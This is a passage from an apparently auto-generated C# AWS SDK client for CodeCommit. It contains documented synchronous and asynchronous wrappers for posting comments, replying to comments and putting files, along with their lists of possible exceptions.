name="cancellationToken"> /// A cancellation token that can be used by other objects or threads to receive notice of cancellation. /// </param> /// /// <returns>The response from the PostCommentForComparedCommit service method, as returned by CodeCommit.</returns> /// <exception cref="Amazon.CodeCommit.Model.BeforeCommitIdAndAfterCommitIdAreSameException"> /// The before commit ID and the after commit ID are the same, which is not valid. The /// before commit ID and the after commit ID must be different commit IDs. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.ClientRequestTokenRequiredException"> /// A client request token is required. A client request token is an unique, client-generated /// idempotency token that when provided in a request, ensures the request cannot be repeated /// with a changed parameter. If a request is received with the same parameters and a /// token is included, the request will return information about the initial request that /// used that token. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.CommentContentRequiredException"> /// The comment is empty. You must provide some content for a comment. The content cannot /// be null. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.CommentContentSizeLimitExceededException"> /// The comment is too large. Comments are limited to 1,000 characters. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.CommitDoesNotExistException"> /// The specified commit does not exist or no commit was specified, and the specified /// repository has no default branch. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.CommitIdRequiredException"> /// A commit ID was not specified. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionIntegrityChecksFailedException"> /// An encryption integrity check failed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyAccessDeniedException"> /// An encryption key could not be accessed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyDisabledException"> /// The encryption key is disabled. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyNotFoundException"> /// No encryption key was found. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyUnavailableException"> /// The encryption key is not available. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.IdempotencyParameterMismatchException"> /// The client request token is not valid. Either the token is not in a valid format, /// or the token has been used in a previous request and cannot be re-used. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidClientRequestTokenException"> /// The client request token is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidCommitIdException"> /// The specified commit ID is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidFileLocationException"> /// The location of the file is not valid. Make sure that you include the extension of /// the file as well as the file name. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidFilePositionException"> /// The position is not valid. Make sure that the line number exists in the version of /// the file you want to comment on. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidPathException"> /// The specified path is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidRelativeFileVersionEnumException"> /// Either the enum is not in a valid format, or the specified file version enum is not /// valid in respect to the current file version. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidRepositoryNameException"> /// At least one specified repository name is not valid. /// /// <note> /// <para> /// This exception only occurs when a specified repository name is not valid. Other exceptions /// occur when a required repository parameter is missing, or when a specified repository /// does not exist. /// </para> /// </note> /// </exception> /// <exception cref="Amazon.CodeCommit.Model.PathDoesNotExistException"> /// The specified path does not exist. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.PathRequiredException"> /// The folderPath for a location cannot be null. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryDoesNotExistException"> /// The specified repository does not exist. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryNameRequiredException"> /// A repository name is required but was not specified. /// </exception> /// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/PostCommentForComparedCommit">REST API Reference for PostCommentForComparedCommit Operation</seealso> public virtual Task<PostCommentForComparedCommitResponse> PostCommentForComparedCommitAsync(PostCommentForComparedCommitRequest request, System.Threading.CancellationToken cancellationToken = default(CancellationToken)) { var options = new InvokeOptions(); options.RequestMarshaller = PostCommentForComparedCommitRequestMarshaller.Instance; options.ResponseUnmarshaller = PostCommentForComparedCommitResponseUnmarshaller.Instance; return InvokeAsync<PostCommentForComparedCommitResponse>(request, options, cancellationToken); } #endregion #region PostCommentForPullRequest /// <summary> /// Posts a comment on a pull request. /// </summary> /// <param name="request">Container for the necessary parameters to execute the PostCommentForPullRequest service method.</param> /// /// <returns>The response from the PostCommentForPullRequest service method, as returned by CodeCommit.</returns> /// <exception cref="Amazon.CodeCommit.Model.BeforeCommitIdAndAfterCommitIdAreSameException"> /// The before commit ID and the after commit ID are the same, which is not valid. The /// before commit ID and the after commit ID must be different commit IDs. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.ClientRequestTokenRequiredException"> /// A client request token is required. A client request token is an unique, client-generated /// idempotency token that when provided in a request, ensures the request cannot be repeated /// with a changed parameter. If a request is received with the same parameters and a /// token is included, the request will return information about the initial request that /// used that token. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.CommentContentRequiredException"> /// The comment is empty. You must provide some content for a comment. The content cannot /// be null. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.CommentContentSizeLimitExceededException"> /// The comment is too large. Comments are limited to 1,000 characters. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.CommitDoesNotExistException"> /// The specified commit does not exist or no commit was specified, and the specified /// repository has no default branch. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.CommitIdRequiredException"> /// A commit ID was not specified. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionIntegrityChecksFailedException"> /// An encryption integrity check failed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyAccessDeniedException"> /// An encryption key could not be accessed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyDisabledException"> /// The encryption key is disabled. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyNotFoundException"> /// No encryption key was found. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyUnavailableException"> /// The encryption key is not available. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.IdempotencyParameterMismatchException"> /// The client request token is not valid. Either the token is not in a valid format, /// or the token has been used in a previous request and cannot be re-used. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidClientRequestTokenException"> /// The client request token is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidCommitIdException"> /// The specified commit ID is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidFileLocationException"> /// The location of the file is not valid. Make sure that you include the extension of /// the file as well as the file name. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidFilePositionException"> /// The position is not valid. Make sure that the line number exists in the version of /// the file you want to comment on. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidPathException"> /// The specified path is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidPullRequestIdException"> /// The pull request ID is not valid. Make sure that you have provided the full ID and /// that the pull request is in the specified repository, and then try again. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidRelativeFileVersionEnumException"> /// Either the enum is not in a valid format, or the specified file version enum is not /// valid in respect to the current file version. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidRepositoryNameException"> /// At least one specified repository name is not valid. /// /// <note> /// <para> /// This exception only occurs when a specified repository name is not valid. Other exceptions /// occur when a required repository parameter is missing, or when a specified repository /// does not exist. /// </para> /// </note> /// </exception> /// <exception cref="Amazon.CodeCommit.Model.PathDoesNotExistException"> /// The specified path does not exist. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.PathRequiredException"> /// The folderPath for a location cannot be null. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.PathRequiredException"> /// The folderPath for a location cannot be null. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.PullRequestDoesNotExistException"> /// The pull request ID could not be found. Make sure that you have specified the correct /// repository name and pull request ID, and then try again. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.PullRequestIdRequiredException"> /// A pull request ID is required, but none was provided. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryDoesNotExistException"> /// The specified repository does not exist. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryNameRequiredException"> /// A repository name is required but was not specified. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryNotAssociatedWithPullRequestException"> /// The repository does not contain any pull requests with that pull request ID. Use GetPullRequest /// to verify the correct repository name for the pull request ID. /// </exception> /// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/PostCommentForPullRequest">REST API Reference for PostCommentForPullRequest Operation</seealso> public virtual PostCommentForPullRequestResponse PostCommentForPullRequest(PostCommentForPullRequestRequest request) { var options = new InvokeOptions(); options.RequestMarshaller = PostCommentForPullRequestRequestMarshaller.Instance; options.ResponseUnmarshaller = PostCommentForPullRequestResponseUnmarshaller.Instance; return Invoke<PostCommentForPullRequestResponse>(request, options); } /// <summary> /// Posts a comment on a pull request. /// </summary> /// <param name="request">Container for the necessary parameters to execute the PostCommentForPullRequest service method.</param> /// <param name="cancellationToken"> /// A cancellation token that can be used by other objects or threads to receive notice of cancellation. /// </param> /// /// <returns>The response from the PostCommentForPullRequest service method, as returned by CodeCommit.</returns> /// <exception cref="Amazon.CodeCommit.Model.BeforeCommitIdAndAfterCommitIdAreSameException"> /// The before commit ID and the after commit ID are the same, which is not valid. The /// before commit ID and the after commit ID must be different commit IDs. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.ClientRequestTokenRequiredException"> /// A client request token is required. A client request token is an unique, client-generated /// idempotency token that when provided in a request, ensures the request cannot be repeated /// with a changed parameter. If a request is received with the same parameters and a /// token is included, the request will return information about the initial request that /// used that token. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.CommentContentRequiredException"> /// The comment is empty. You must provide some content for a comment. The content cannot /// be null. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.CommentContentSizeLimitExceededException"> /// The comment is too large. Comments are limited to 1,000 characters. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.CommitDoesNotExistException"> /// The specified commit does not exist or no commit was specified, and the specified /// repository has no default branch. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.CommitIdRequiredException"> /// A commit ID was not specified. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionIntegrityChecksFailedException"> /// An encryption integrity check failed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyAccessDeniedException"> /// An encryption key could not be accessed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyDisabledException"> /// The encryption key is disabled. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyNotFoundException"> /// No encryption key was found. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyUnavailableException"> /// The encryption key is not available. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.IdempotencyParameterMismatchException"> /// The client request token is not valid. Either the token is not in a valid format, /// or the token has been used in a previous request and cannot be re-used. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidClientRequestTokenException"> /// The client request token is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidCommitIdException"> /// The specified commit ID is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidFileLocationException"> /// The location of the file is not valid. Make sure that you include the extension of /// the file as well as the file name. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidFilePositionException"> /// The position is not valid. Make sure that the line number exists in the version of /// the file you want to comment on. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidPathException"> /// The specified path is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidPullRequestIdException"> /// The pull request ID is not valid. Make sure that you have provided the full ID and /// that the pull request is in the specified repository, and then try again. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidRelativeFileVersionEnumException"> /// Either the enum is not in a valid format, or the specified file version enum is not /// valid in respect to the current file version. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidRepositoryNameException"> /// At least one specified repository name is not valid. /// /// <note> /// <para> /// This exception only occurs when a specified repository name is not valid. Other exceptions /// occur when a required repository parameter is missing, or when a specified repository /// does not exist. /// </para> /// </note> /// </exception> /// <exception cref="Amazon.CodeCommit.Model.PathDoesNotExistException"> /// The specified path does not exist. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.PathRequiredException"> /// The folderPath for a location cannot be null. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.PathRequiredException"> /// The folderPath for a location cannot be null. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.PullRequestDoesNotExistException"> /// The pull request ID could not be found. Make sure that you have specified the correct /// repository name and pull request ID, and then try again. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.PullRequestIdRequiredException"> /// A pull request ID is required, but none was provided. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryDoesNotExistException"> /// The specified repository does not exist. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryNameRequiredException"> /// A repository name is required but was not specified. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryNotAssociatedWithPullRequestException"> /// The repository does not contain any pull requests with that pull request ID. Use GetPullRequest /// to verify the correct repository name for the pull request ID. /// </exception> /// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/PostCommentForPullRequest">REST API Reference for PostCommentForPullRequest Operation</seealso> public virtual Task<PostCommentForPullRequestResponse> PostCommentForPullRequestAsync(PostCommentForPullRequestRequest request, System.Threading.CancellationToken cancellationToken = default(CancellationToken)) { var options = new InvokeOptions(); options.RequestMarshaller = PostCommentForPullRequestRequestMarshaller.Instance; options.ResponseUnmarshaller = PostCommentForPullRequestResponseUnmarshaller.Instance; return InvokeAsync<PostCommentForPullRequestResponse>(request, options, cancellationToken); } #endregion #region PostCommentReply /// <summary> /// Posts a comment in reply to an existing comment on a comparison between commits or /// a pull request. /// </summary> /// <param name="request">Container for the necessary parameters to execute the PostCommentReply service method.</param> /// /// <returns>The response from the PostCommentReply service method, as returned by CodeCommit.</returns> /// <exception cref="Amazon.CodeCommit.Model.ClientRequestTokenRequiredException"> /// A client request token is required. A client request token is an unique, client-generated /// idempotency token that when provided in a request, ensures the request cannot be repeated /// with a changed parameter. If a request is received with the same parameters and a /// token is included, the request will return information about the initial request that /// used that token. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.CommentContentRequiredException"> /// The comment is empty. You must provide some content for a comment. The content cannot /// be null. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.CommentContentSizeLimitExceededException"> /// The comment is too large. Comments are limited to 1,000 characters. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.CommentDoesNotExistException"> /// No comment exists with the provided ID. Verify that you have provided the correct /// ID, and then try again. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.CommentIdRequiredException"> /// The comment ID is missing or null. A comment ID is required. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.IdempotencyParameterMismatchException"> /// The client request token is not valid. Either the token is not in a valid format, /// or the token has been used in a previous request and cannot be re-used. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidClientRequestTokenException"> /// The client request token is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidCommentIdException"> /// The comment ID is not in a valid format. Make sure that you have provided the full /// comment ID. /// </exception> /// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/PostCommentReply">REST API Reference for PostCommentReply Operation</seealso> public virtual PostCommentReplyResponse PostCommentReply(PostCommentReplyRequest request) { var options = new InvokeOptions(); options.RequestMarshaller = PostCommentReplyRequestMarshaller.Instance; options.ResponseUnmarshaller = PostCommentReplyResponseUnmarshaller.Instance; return Invoke<PostCommentReplyResponse>(request, options); } /// <summary> /// Posts a comment in reply to an existing comment on a comparison between commits or /// a pull request. /// </summary> /// <param name="request">Container for the necessary parameters to execute the PostCommentReply service method.</param> /// <param name="cancellationToken"> /// A cancellation token that can be used by other objects or threads to receive notice of cancellation. /// </param> /// /// <returns>The response from the PostCommentReply service method, as returned by CodeCommit.</returns> /// <exception cref="Amazon.CodeCommit.Model.ClientRequestTokenRequiredException"> /// A client request token is required. A client request token is an unique, client-generated /// idempotency token that when provided in a request, ensures the request cannot be repeated /// with a changed parameter. If a request is received with the same parameters and a /// token is included, the request will return information about the initial request that /// used that token. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.CommentContentRequiredException"> /// The comment is empty. You must provide some content for a comment. The content cannot /// be null. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.CommentContentSizeLimitExceededException"> /// The comment is too large. Comments are limited to 1,000 characters. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.CommentDoesNotExistException"> /// No comment exists with the provided ID. Verify that you have provided the correct /// ID, and then try again. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.CommentIdRequiredException"> /// The comment ID is missing or null. A comment ID is required. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.IdempotencyParameterMismatchException"> /// The client request token is not valid. Either the token is not in a valid format, /// or the token has been used in a previous request and cannot be re-used. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidClientRequestTokenException"> /// The client request token is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidCommentIdException"> /// The comment ID is not in a valid format. Make sure that you have provided the full /// comment ID. /// </exception> /// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/PostCommentReply">REST API Reference for PostCommentReply Operation</seealso> public virtual Task<PostCommentReplyResponse> PostCommentReplyAsync(PostCommentReplyRequest request, System.Threading.CancellationToken cancellationToken = default(CancellationToken)) { var options = new InvokeOptions(); options.RequestMarshaller = PostCommentReplyRequestMarshaller.Instance; options.ResponseUnmarshaller = PostCommentReplyResponseUnmarshaller.Instance; return InvokeAsync<PostCommentReplyResponse>(request, options, cancellationToken); } #endregion #region PutFile /// <summary> /// Adds or updates a file in a branch in an AWS CodeCommit repository, and generates /// a commit for the addition in the specified branch. /// </summary> /// <param name="request">Container for the necessary parameters to execute the PutFile service method.</param> /// /// <returns>The response from the PutFile service method, as returned by CodeCommit.</returns> /// <exception cref="Amazon.CodeCommit.Model.BranchDoesNotExistException"> /// The specified branch does not exist. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.BranchNameIsTagNameException"> /// The specified branch name is not valid because it is a tag name. Type the name of /// a current branch in the repository. For a list of valid branch names, use <a>ListBranches</a>. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.BranchNameRequiredException"> /// A branch name is required but was not specified. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.CommitMessageLengthExceededException"> /// The commit message is too long. Provide a shorter string. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.DirectoryNameConflictsWithFileNameException"> /// A file cannot be added to the repository because the specified path name has the same /// name as a file that already exists in this repository. Either provide a different /// name for the file, or specify a different path for the file. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionIntegrityChecksFailedException"> /// An encryption integrity check failed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyAccessDeniedException"> /// An encryption key could not be accessed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyDisabledException"> /// The encryption key is disabled. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyNotFoundException"> /// No encryption key was found. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyUnavailableException"> /// The encryption key is not available. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.FileContentRequiredException"> /// The file cannot be added because it is empty. Empty files cannot be added to the repository /// with this API. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.FileContentSizeLimitExceededException"> /// The file cannot be added because it is too large. The maximum file size that can be /// added is 6 MB, and the combined file content change size is 7 MB. Consider making /// these changes using a Git client. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.FileNameConflictsWithDirectoryNameException"> /// A file cannot be added to the repository because the specified file name has the same /// name as a directory in this repository. Either provide another name for the file, /// or add the file in a directory that does not match the file name. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.FilePathConflictsWithSubmodulePathException"> /// The commit cannot be created because a specified file path points to a submodule. /// Verify that the destination files have valid file paths that do not point to a submodule. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.FolderContentSizeLimitExceededException"> /// The commit cannot be created because at least one of the overall changes in the commit /// results in a folder whose contents exceed the limit of 6 MB. Either reduce the number /// and size of your changes, or split the changes across multiple folders. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidBranchNameException"> /// The specified reference name is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidDeletionParameterException"> /// The specified deletion parameter is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidEmailException"> /// The specified email address either contains one or more characters that are not allowed, /// or it exceeds the maximum number of characters allowed for an email address. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidFileModeException"> /// The specified file mode permission is not valid. For a list of valid file mode permissions, /// see <a>PutFile</a>. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidParentCommitIdException"> /// The parent commit ID is not valid. The commit ID cannot be empty, and must match the /// head commit ID for the branch of the repository where you want to add or update a /// file. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidPathException"> /// The specified path is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidRepositoryNameException"> /// At least one specified repository name is not valid. /// /// <note> /// <para> /// This exception only occurs when a specified repository name is not valid. Other exceptions /// occur when a required repository parameter is missing, or when a specified repository /// does not exist. /// </para> /// </note> /// </exception> /// <exception cref="Amazon.CodeCommit.Model.NameLengthExceededException"> /// The user name is not valid because it has exceeded the character limit for author /// names. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.ParentCommitDoesNotExistException"> /// The parent commit ID is not valid because it does not exist. The specified parent /// commit ID does not exist in the specified branch of the repository. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.ParentCommitIdOutdatedException"> /// The file could not be added because the provided parent commit ID is not the current /// tip of the specified branch. To view the full commit ID of the current head of the /// branch, use <a>GetBranch</a>. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.ParentCommitIdRequiredException"> /// A parent commit ID is required. To view the full commit ID of a branch in a repository, /// use <a>GetBranch</a> or a Git command (for example, git pull or git log). /// </exception> /// <exception cref="Amazon.CodeCommit.Model.PathRequiredException"> /// The folderPath for a location cannot be null. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryDoesNotExistException"> /// The specified repository does not exist. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryNameRequiredException"> /// A repository name is required but was not specified. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.SameFileContentException"> /// The file was not added or updated because the content of the file is exactly the same /// as the content of that file in the repository and branch that you specified. /// </exception> /// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/PutFile">REST API Reference for PutFile Operation</seealso> public virtual PutFileResponse PutFile(PutFileRequest request) { var options = new InvokeOptions(); options.RequestMarshaller = PutFileRequestMarshaller.Instance; options.ResponseUnmarshaller = PutFileResponseUnmarshaller.Instance; return Invoke<PutFileResponse>(request, options); } /// <summary> /// Adds or updates a file in a branch in an AWS CodeCommit repository, and generates /// a commit for the addition in the specified branch. /// </summary> /// <param name="request">Container for the necessary parameters to execute the PutFile service method.</param> /// <param name="cancellationToken"> /// A cancellation token that can be used by other objects or threads to receive notice of cancellation. /// </param> /// /// <returns>The response from the PutFile service method, as returned by CodeCommit.</returns> /// <exception cref="Amazon.CodeCommit.Model.BranchDoesNotExistException"> /// The specified branch does not exist. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.BranchNameIsTagNameException"> /// The specified branch name is not valid because it is a tag name. Type the name of /// a current branch in the repository. For a list of valid branch names, use <a>ListBranches</a>. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.BranchNameRequiredException"> /// A branch name is required but was not specified. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.CommitMessageLengthExceededException"> /// The commit message is too long. Provide a shorter string. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.DirectoryNameConflictsWithFileNameException"> /// A file cannot be added to the repository because the specified path name has the same /// name as a file that already exists in this repository. Either provide a different /// name for the file, or specify a different path for the file. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionIntegrityChecksFailedException"> /// An encryption integrity check failed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyAccessDeniedException"> /// An encryption key could not be accessed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyDisabledException"> /// The encryption key is disabled. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyNotFoundException"> /// No encryption key was found. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyUnavailableException"> /// The encryption key is not available. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.FileContentRequiredException"> /// The file cannot be added because it is empty. Empty files cannot be added to the repository /// with this API. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.FileContentSizeLimitExceededException"> /// The file cannot be added because it is too large. The maximum file size that can be /// added is 6 MB, and the combined file content change size is 7 MB. Consider making /// these changes using a Git client. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.FileNameConflictsWithDirectoryNameException"> /// A file cannot be added to the repository because the specified file name has the same /// name as a directory in this repository. Either provide another name for the file, /// or add the file in a directory that does not match the file name. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.FilePathConflictsWithSubmodulePathException"> /// The commit cannot be created because a specified file path points to a submodule. /// Verify that the destination files have valid file paths that do not point to a submodule. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.FolderContentSizeLimitExceededException"> /// The commit cannot be created because at least one of the overall changes in the commit /// results in a folder whose contents exceed the limit of 6 MB. Either reduce the number /// and size of your changes, or split the changes across multiple folders. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidBranchNameException"> /// The specified reference name is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidDeletionParameterException"> /// The specified deletion parameter is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidEmailException"> /// The specified email address either contains one or more characters that are not allowed, /// or it exceeds the maximum number of characters allowed for an email address. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidFileModeException"> /// The specified file mode permission is not valid. For a list of valid file mode permissions, /// see <a>PutFile</a>. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidParentCommitIdException"> /// The parent commit ID is not valid. The commit ID cannot be empty, and must match the /// head commit ID for the branch of the repository where you want to add or update a /// file. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidPathException"> /// The specified path is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidRepositoryNameException"> /// At least one specified repository name is not valid. /// /// <note> /// <para> /// This exception only occurs when a specified repository name is not valid. Other exceptions /// occur when a required repository parameter is missing, or when a specified repository /// does not exist. /// </para> /// </note> /// </exception> /// <exception cref="Amazon.CodeCommit.Model.NameLengthExceededException"> /// The user name is not valid because it has exceeded the character limit for author /// names. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.ParentCommitDoesNotExistException"> /// The parent commit ID is not valid because it does not exist. The specified parent /// commit ID does not exist in the specified branch of the repository. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.ParentCommitIdOutdatedException"> /// The file could not be added because the provided parent commit ID is not the current /// tip of the specified branch. To view the full commit ID of the current head of the /// branch, use <a>GetBranch</a>. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.ParentCommitIdRequiredException"> /// A parent commit ID is required. To view the full commit ID of a branch in a repository, /// use <a>GetBranch</a> or a Git command (for example, git pull or git log). /// </exception> /// <exception cref="Amazon.CodeCommit.Model.PathRequiredException"> /// The folderPath for a location cannot be null. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryDoesNotExistException"> /// The specified repository does not exist. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryNameRequiredException"> /// A repository name is required but was not specified. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.SameFileContentException"> /// The file was not added or updated because the content of the file is exactly the same /// as the content of that file in the repository and branch that you specified. /// </exception> /// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/PutFile">REST API Reference for PutFile Operation</seealso> public virtual Task<PutFileResponse> PutFileAsync(PutFileRequest request, System.Threading.CancellationToken cancellationToken = default(CancellationToken)) { var options = new InvokeOptions(); options.RequestMarshaller = PutFileRequestMarshaller.Instance; options.ResponseUnmarshaller = PutFileResponseUnmarshaller.Instance; return InvokeAsync<PutFileResponse>(request, options, cancellationToken); } #endregion #region PutRepositoryTriggers /// <summary> /// Replaces all triggers for a repository. This can be used to create or delete triggers. /// </summary> /// <param name="request">Container for the necessary parameters to execute the PutRepositoryTriggers service method.</param> /// /// <returns>The response from the PutRepositoryTriggers service method, as returned by CodeCommit.</returns> /// <exception cref="Amazon.CodeCommit.Model.EncryptionIntegrityChecksFailedException"> /// An encryption integrity check failed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyAccessDeniedException"> /// An encryption key could not be accessed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyDisabledException"> /// The encryption key is disabled. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyNotFoundException"> /// No encryption key was found. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyUnavailableException"> /// The encryption key is not available. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidRepositoryNameException"> /// At least one specified repository name is not valid. /// /// <note> /// <para> /// This exception only occurs when a specified repository name is not valid. Other exceptions /// occur when a required repository parameter is missing, or when a specified repository /// does not exist. /// </para> /// </note> /// </exception> /// <exception 